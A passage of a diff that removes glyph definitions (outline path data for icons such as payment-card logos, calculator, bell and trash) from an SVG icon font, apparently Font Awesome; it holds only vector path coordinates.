-M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
-    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
-d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
-t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
-t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
-t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
-M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
-h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_463" unicode="&#xf1ed;" 
-d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
-q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
-q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
-    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
-d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
-q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
-    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
-d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
-q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
-q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
-d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
-q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
-M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
-h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
-q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
-q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
-q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
-q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
-q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
-h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
-t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
-d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
-q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
-v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
-q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
-t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
-    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
-d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
-M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
-l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
-v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
-q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
-q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
-t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
-h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
-t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
-    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
-d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
-t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
-q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
-t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
-l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
-q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
-d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
-q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
-q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
-q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
-q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
-d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
-l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
-l418 363q10 8 23.5 7t21.5 -11z" />
-    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
-d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
-q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
-q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
-    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
-d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
-q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
-q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="_474" unicode="&#xf1f9;" 
-d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
-t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
-t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_475" unicode="&#xf1fa;" 
-d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
-q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
-t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
-t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
-    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
-d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
-t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
-    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
-d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
-t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
-    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
-d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
-t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
-t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
-h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
-q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
-    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
-d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
-    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
-d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
-d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
-t9 -23z" />
-    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
-d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
-q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
-t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
-q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
-    <glyph glyph-name="_483" unicode="&#xf203;" 
-d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
-q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
